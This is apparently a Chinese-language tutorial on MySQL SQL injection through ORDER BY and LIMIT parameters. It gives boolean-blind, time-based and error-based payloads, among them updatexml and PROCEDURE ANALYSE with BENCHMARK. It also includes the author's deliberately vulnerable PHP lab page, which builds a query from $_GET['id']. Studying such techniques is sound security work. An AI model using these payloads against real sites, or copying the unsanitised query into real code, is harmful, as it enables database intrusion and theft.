背景
在我们平时见到的get传参或者post传参形式,后台接受到前端的传参后,并不是平时遇到的如下这种
select * from admin where id = $_GET['id'];
还有其他位置可以被传参,如order by 后面的数值以及limit后面的数值,都可以是被传参的对象
select * from admin order by $_GET['id'];
select * from admin limit $_GET['id'],1;
order by 注入
以上两种情况都会产生注入,而面对order by 存在注入的情况,平时的联合查询是没有办法使用的如下
经过尝试,order by 后面也不能直接跟and 1或者and 0;因为无论条件真假,返回值不变,其实返回的都是假值,如下图
注入实现
注入方式
针对于order by的注入,目前我了解到的只能使用盲注,
布尔盲注、时间盲注、报错注入(前提条件就是会提示数据库报错信息)
布尔盲注
在可以进行布尔注入的情况下可以使用如下方式,但由于无法使用and等关系运算符,无法使用3-length(database())形式,经过测试也无法使用 if(1=2,2,3)形式,所以只能在知道字段名的情况下使用
http://xxx.xxx.xx.xx/?id=IF(1=1,id,password) 通过id字段排序
http://xxx.xxx.xx.xx/?id=IF(1=2,id,password) 通过password字段排序
/?id=(CASE+WHEN+(1=1)+THEN+id+ELSE+password+END) 通过id字段排序
/?id=(CASE+WHEN+(1=1)+THEN+password+ELSE+id+END) 通过password字段排序
http://xxx.xxx.xx.xx/?id=IFNULL(NULL,password) 通过id字段排序
http://xxx.xxx.xx.xx/?id=IFNULL(NULL,id) 通过password字段排序
还看到一种方式,实测可用,如下
http://xxx.xxx.xx.xx/?id=IF(1=1,1,(select 1 union select 2)) 正确
http://xxx.xxx.xx.xx/?id=IF(1=2,1,(select 1 union select 2)) 错误
基于regexp正则表达式的布尔盲注
http://xxx.xxx.xx.xx/?id=(select 1 regexp if(1=1,1,0x00)) 正确
http://xxx.xxx.xx.xx/?id=(select 1 regexp if(1=2,1,0x00)) 错误
时间盲注
另外还可尝试时间盲注,至于延迟时间为什么是二倍,大概是因为两条数据吧,如下
报错注入
同样是使用updatexml()等函数,如下图
注入实现
首先打开自己写的测试靶场,代码如下
<?php
show_source(__FILE__);
$conn=mysqli_connect('127.0.0.1','root','root');
mysqli_select_db($conn,"xxxx");
$id = $_GET['id'];
$sql = "select*from flag order by ".$_GET['id']." limit 0,1";
echo "<br>".$sql;
if(!mysqli_query($conn,$sql)){
echo("<br>"."Error:".mysqli_error($conn));
}else{
$result=mysqli_query($conn,$sql);
while($row=mysqli_fetch_array($result)){
echo "<br>".$row['username'];
}
}
mysqli_close($conn);
?>
怎么测试注入点呢?输入3-1或者desc都可以,保险的是desc比较好,如下图
布尔注入
首先尝试布尔注入,因为传参是数字,并不是字段名称,所以前几种根据字段排序的方法无法使用,直接使用查询结果集超出报错来判断,如下
更换if函数的条件,判断数据库名长度,得出数据库名长度为4,如下图
其余步骤不在一一列出
时间盲注
直接进行测试,虽然这个延迟时间到底为啥我没弄清楚,但是确实可以使用,如下图
报错注入
这个我写了把错误信息回显的功能可以尝试,报错注入,直接输入即可,如下图
其余报错函数不在意义介绍,详情转另外一篇MySQL报错注入
limit注入
首先注意,limit接受传参的位置可以是第一位,也可以是第二位
相比于order by 注入,limit后面是可以尝试联合查询的,如下图
但是不巧的是,limit后面不能有order by 所以无法判断字段数,除非能盲猜字段数成功,不然意义不大,此处不做介绍
而且此处也无法通过1-1类似的方式进行检测注入点,无法使用布尔盲注
注入方式
报错和延迟注入
此方法仅适用5.0.0< MySQL <5.6.6版本,查询语法如下
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
limit 关键字后面还可以使用 PROCEDURE 和 INTO 关键字
其中into 关键字可以用来写文件
在这里的重点是 PROCEDURE 关键字
我们可以知道这个关键词可以跟一个存储过程,至于啥是存储过程,你可以模糊理解为,一个固定的查询格式,每次查询只是往里面传参,存储过程可防止SQL注入,因为注入就是改变了原有的查询语句的结构,而使用存储过程后,结构是固定的,传的参数只是字符串,当然也有关于存储过程的注入,以后再写吧
而在MySQL中,默认可用的存储过程只有 ANALYSE
首先区别一线前面有order by 和没有order by 的区别,如下图
两个参数时,如下
经过尝试可以实现报错,如下图
延迟注入,无法使用sleep,介绍新函数BENCHMARK()函数
语法为:
- BENCHMARK(count,expr)
- BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
延迟注入payload如下,在这看不出来
select * from flag order by id limit 1,1 procedure analyse(updatexml(1,concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))),1),1);
注入实现
打开测试环境,如下
先闭合原语句,如下
尝试报错注入,payload:id=0,1 procedure analyse(updatexml(1,concat(0x7e,database()),1),1)--+
尝试延迟注入,如下图
就这样吧,我得回去改改我的延迟注入去